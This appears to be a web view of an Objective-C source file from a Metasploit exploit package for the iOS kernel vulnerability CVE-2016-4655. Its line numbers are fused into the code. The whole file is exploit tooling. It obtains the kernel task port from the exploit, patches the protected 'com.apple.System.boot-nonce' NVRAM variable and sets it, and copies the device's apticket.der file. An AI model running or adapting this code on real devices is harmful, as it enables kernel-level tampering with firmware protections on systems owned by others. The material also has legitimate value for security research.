Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/external/source/exploits/CVE-2016-4655/set.m
Views: 11777
/*1* set.m - High-level handler to set boot nonce2*3* Copyright (c) 2017 Siguza & tihmstar4*/56#include <errno.h>7#include <stdbool.h>8#include <stdio.h>9#include <string.h>10#include <unistd.h>11#include <sys/stat.h>12#include <mach/mach.h>13#include <IOKit/IOKitLib.h>14#include <CoreFoundation/CoreFoundation.h>1516#include "arch.h"17#include "exploit64.h"18#include "nvpatch.h"19#include "set.h"2021static int party_hard(void)22{23int ret = 0;24if(getuid() != 0) // Skip if we got root already25{26ret = -1;27vm_address_t kbase = 0;28task_t kernel_task = get_kernel_task(&kbase);29LOG("kernel_task: 0x%x", kernel_task);30if(MACH_PORT_VALID(kernel_task))31{32ret = nvpatch(kernel_task, kbase, "com.apple.System.boot-nonce");33}34}35return ret;36}3738bool set_generator(const char *gen)39{40bool ret = false;4142CFStringRef str = CFStringCreateWithCStringNoCopy(NULL, gen, kCFStringEncodingUTF8, kCFAllocatorNull);43CFMutableDictionaryRef dict = CFDictionaryCreateMutable(NULL, 0, &kCFCopyStringDictionaryKeyCallBacks, &kCFTypeDictionaryValueCallBacks);44if(!str || !dict)45{46LOG("Failed to allocate CF objects");47}48else49{50CFDictionarySetValue(dict, CFSTR("com.apple.System.boot-nonce"), str);51CFRelease(str);5253io_service_t nvram = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IODTNVRAM"));54if(!MACH_PORT_VALID(nvram))55{56LOG("Failed to get IODTNVRAM service");57}58else59{60if(party_hard() == 0)61{62kern_return_t kret = IORegistryEntrySetCFProperties(nvram, dict);63LOG("IORegistryEntrySetCFProperties: %s", mach_error_string(kret));64if(kret == KERN_SUCCESS)65{66ret = true;67}68}69}7071CFRelease(dict);72}7374return ret;75}7677bool dump_apticket(const char *to)78{79bool ret = false;80if(party_hard() == 0)81{82const char *from = "/System/Library/Caches/apticket.der";83struct stat s;84if(stat(from, &s) != 0)85{86LOG("stat failed: %s", strerror(errno));87}88else89{90FILE *in = fopen(from, "rb");91if(in == NULL)92{93LOG("failed to open src: %s", strerror(errno));94}95else96{97FILE *out = fopen(to, "wb");98if(out == NULL)99{100LOG("failed to open dst: %s", strerror(errno));101}102else103{104char *buf = malloc(s.st_size);105if(buf == NULL)106{107LOG("failed to alloc buf: %s", strerror(errno));108}109else110{111fread(buf, s.st_size, 1, in);112fwrite(buf, s.st_size, 1, out);113free(buf);114ret = true;115}116fclose(out);117}118fclose(in);119}120}121}122return ret;123}124125126